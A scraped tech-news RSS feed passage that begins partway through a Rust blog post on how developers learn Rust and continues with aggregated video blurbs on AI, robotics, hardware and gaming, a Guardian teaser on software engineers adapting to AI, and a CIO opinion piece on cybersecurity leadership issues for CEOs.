<p>The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.</p>
<blockquote>
<p>"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM</p>
</blockquote>
<blockquote>
<p>"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company</p>
</blockquote>
<p>Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.</p>
<blockquote>
<p>"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries</p>
</blockquote>
<blockquote>
<p>"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#teaching-rust-in-academia"></a>
Teaching Rust in academia</h3>
<p>We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.</p>
<blockquote>
<p>"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust</p>
</blockquote>
<p>The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.</p>
<p>What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-using-llms"></a>
Learning using LLMs</h3>
<p>Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.</p>
<blockquote>
<p>"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate</p>
</blockquote>
<blockquote>
<p>"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust</p>
</blockquote>
<p>For some learners, an LLM is just another way to find answers, no different than a search engine.</p>
<blockquote>
<p>"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space</p>
</blockquote>
<p>One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.</p>
<blockquote>
<p>"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company</p>
</blockquote>
<p>We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#organizational-considerations-for-rust-learners"></a>
Organizational considerations for Rust learners</h3>
<p>We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.</p>
<blockquote>
<p>"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider</p>
</blockquote>
<blockquote>
<p>"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation</p>
</blockquote>
<p>Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.</p>
<blockquote>
<p>"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM</p>
</blockquote>
<p>The community and helping each other aspect seems to grow bonds as organizations mature.</p>
<blockquote>
<p>"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#silent-attrition"></a>
Silent attrition</h3>
<p>We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.</p>
<blockquote>
<p>"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor</p>
</blockquote>
<p>There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.</p>
<blockquote>
<p>"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)</p>
</blockquote>
<p>We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.</p>
<blockquote>
<p>"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust</p>
</blockquote>
<p>While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having
so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.</p>
<blockquote>
<p>"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#feedback-on-near-bounces-from-survey"></a>
Feedback on near-bounces from survey</h4>
<p>We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:</p>
<blockquote>
<p>"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A</p>
</blockquote>
<p>Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.</p>
<p>One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.</p>
<p>Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#need-more-focused-work-on-silent-attritrion"></a>
Need more focused work on silent attritrion</h4>
<p>The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#conclusions"></a>
Conclusions</h3>
<p>Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.</p>
<p>That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-seems-worth-trying"></a>
What seems worth trying</h4>
<p><strong>Learning materials aimed at unlearning.</strong> Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.</p>
<p><strong>Put the "clone freely while you're learning" advice somewhere official.</strong> Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.</p>
<p><strong>Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did.</strong> Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.</p>
<p><strong>Is "the book" actually out of date?</strong> Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.</p>
<p><strong>How stuck learners get treated is shaping who stays.</strong> We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.</p>
<p><strong>Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust.</strong> Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-we-still-don-t-know"></a>
What we still don't know</h4>
<p>The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">our first post</a>, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.</p>
<p>We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.</p>
<p>The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.</p>]]></content:encoded>
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<title><![CDATA[SHOCKING NEW OpenAI Robotics Tech + Tesla Reveals Optimus AI Robot Update | Meta AI CACTI]]></title>
<description><![CDATA[Author: AI News - Bewertung: 343x - Views:10943 - In a world-changing breakthrough, Microsoft researchers have integrated OpenAI’s ChatGPT with robotics and other devices, enabling the use of natural language to control various devices, including drones, robot arms, home assistant robots and more...]]></description>
<link>https://tsecurity.de/de/3693270/videos/shocking-new-openai-robotics-tech-tesla-reveals-optimus-ai-robot-update-meta-ai-cacti/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693270/videos/shocking-new-openai-robotics-tech-tesla-reveals-optimus-ai-robot-update-meta-ai-cacti/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:47 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: AI News - Bewertung: 343x - Views:10943 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/tKUHRkqt6tE?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>- In a world-changing breakthrough, Microsoft researchers have integrated OpenAI’s ChatGPT with robotics and other devices, enabling the use of natural language to control various devices, including drones, robot arms, home assistant robots and more, allowing humans to easily communicate their intentions to robots just like they would to another human, bridging the gap between man and machine. Tesla’s Optimus AI robot can now walk short distances by itself, carry an object of its arm&#039;s size, and use basic tools with the help of artificial intelligence. CACTI from Meta AI consists of four stages that handle data collection, data augmentation, visual representation learning, and imitation policy training separately to enable scalability in robot learning. <br />
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#technology #tech #ai<br/></p>]]></content:encoded>
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<title><![CDATA[Claude Opus 4.8: Lying Machine No More?]]></title>
<description><![CDATA[Author: Two Minute Papers - Bewertung: 3928x - Views:102065 ❤️ Check out Lambda here and sign up for their GPU Cloud: https://lambda.ai/papers

Anthropic's Opus 4.8: https://www.anthropic.com/news/claude-opus-4-8

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<link>https://tsecurity.de/de/3693260/videos/claude-opus-48-lying-machine-no-more/</link>
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<pubDate>Sat, 25 Jul 2026 08:36:33 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Two Minute Papers - Bewertung: 3928x - Views:102065 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/ypL7kUiw_LM?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>❤️ Check out Lambda here and sign up for their GPU Cloud: https://lambda.ai/papers<br />
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Anthropic&#039;s Opus 4.8: https://www.anthropic.com/news/claude-opus-4-8<br />
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My research: https://cg.tuwien.ac.at/~zsolnai/<br />
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<title><![CDATA[Valve, was habt ihr euch dabei gedacht?! Steam Machine für 1039 €]]></title>
<description><![CDATA[Author: PC-WELT - Bewertung: 250x - Views:8464 Wir müssen zurückrudern. 😅

Wir haben die Steam Machine vor ein paar Wochen noch verteidigt, aber nach dem Preis-Leak wird’s schwierig.

Die Idee bleibt stark: keine Online-Abos, günstige Steam-Spiele, Zugriff auf die eigene Steam-Bibliothek und Clou...]]></description>
<link>https://tsecurity.de/de/3693248/videos/valve-was-habt-ihr-euch-dabei-gedacht-steam-machine-fuer-1039/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693248/videos/valve-was-habt-ihr-euch-dabei-gedacht-steam-machine-fuer-1039/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:15 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: PC-WELT - Bewertung: 250x - Views:8464 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/RBkzw1zEXKk?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Wir müssen zurückrudern. 😅<br />
<br />
Wir haben die Steam Machine vor ein paar Wochen noch verteidigt, aber nach dem Preis-Leak wird’s schwierig.<br />
<br />
Die Idee bleibt stark: keine Online-Abos, günstige Steam-Spiele, Zugriff auf die eigene Steam-Bibliothek und Cloud-Saves zwischen PC und Konsole.<br />
<br />
Aber: Die Basis-Version soll 1039 € kosten. Für eine Konsole, die teils langsamer ist als eine deutlich günstigere PS5, ist das schwer zu rechtfertigen.<br />
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Valve hat beim Preis unserer Meinung nach komplett übers Ziel hinausgeschossen.<br />
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Was meint ihr: verkalkuliert oder trotzdem ein Erfolg? 👇<br />
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<title><![CDATA[Lightmatter's New 65.5 Trillion OPS Light Chip Made NVIDIA's Billion Dollar GPU's Look Like a JOKE!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 293x - Views:5495 The future of AI chips might not run on electricity. It might run on light.

In this video, we break down how Lightmatter is using photonic computing to attack one of the biggest problems in artificial intelligence: moving massive amounts of data...]]></description>
<link>https://tsecurity.de/de/3693247/videos/lightmatters-new-655-trillion-ops-light-chip-made-nvidias-billion-dollar-gpus-look-like-a-joke/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693247/videos/lightmatters-new-655-trillion-ops-light-chip-made-nvidias-billion-dollar-gpus-look-like-a-joke/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:14 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 293x - Views:5495 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/XimElc33jyA?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>The future of AI chips might not run on electricity. It might run on light.<br />
<br />
In this video, we break down how Lightmatter is using photonic computing to attack one of the biggest problems in artificial intelligence: moving massive amounts of data between chips without wasting huge amounts of power. Lightmatter’s Envise processor uses light to perform AI calculations such as matrix multiplication, while its Passage platform uses optical interconnects to move data between AI chips at extreme speeds. The company has demonstrated real AI workloads including ResNet, BERT, and reinforcement learning models, while targeting the growing power and bandwidth crisis inside modern AI data centers. We also explore the Passage M1000 photonic superchip, Lightmatter’s collaboration with Qualcomm, its involvement in NVIDIA’s NVLink Fusion ecosystem, and why optical computing could become critical as AI clusters continue scaling. Could light-powered AI chips replace traditional electronic computing, or will photonics first transform how GPUs communicate within massive data centers?<br />
<br />
#AIChips #Lightmatter #PhotonicComputing #Nvidia #ArtificialIntelligence #DataCenter #FutureTech<br/></p>]]></content:encoded>
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<title><![CDATA[Chasing new skills, going back to basics and pushing for collective action: how software engineers are adapting to AI]]></title>
<description><![CDATA[Software engineering was one of the best-paying professions in the US in 2022, but the advent of AI has disrupted it, leading to several layoffs and underemploymentEvery weekday, Matt, a software engineer, looks forward to his four-hour train commute to Pawling, New York. It’s time he uses to wor...]]></description>
<link>https://tsecurity.de/de/3693125/it-nachrichten/chasing-new-skills-going-back-to-basics-and-pushing-for-collective-action-how-software-engineers-are-adapting-to-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693125/it-nachrichten/chasing-new-skills-going-back-to-basics-and-pushing-for-collective-action-how-software-engineers-are-adapting-to-ai/</guid>
<pubDate>Sat, 25 Jul 2026 07:03:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Software engineering was one of the best-paying professions in the US in 2022, but the advent of AI has disrupted it, leading to several layoffs and underemployment</p><p>Every weekday, Matt, a software engineer, looks forward to his four-hour train commute to Pawling, New York. It’s time he uses to work on his own project: a browser-based video game for which he writes every line of code himself.</p><p>“I am actively trying to keep my axe sharp,” said Matt, who did not want to use his actual name, to protect his employment. In the last six months, Matt’s job has increasingly shifted away from coding, problem solving and software architecture towards reviewing code generated by artificial intelligence. Convinced that the shift will weaken his skills, he’s doing what he can to keep them intact. “I am trying not to leverage AI where I can.”</p> <a href="https://www.theguardian.com/technology/ng-interactive/2026/jul/12/software-developers-engineers-ai">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
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<pubDate>Sat, 25 Jul 2026 06:16:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
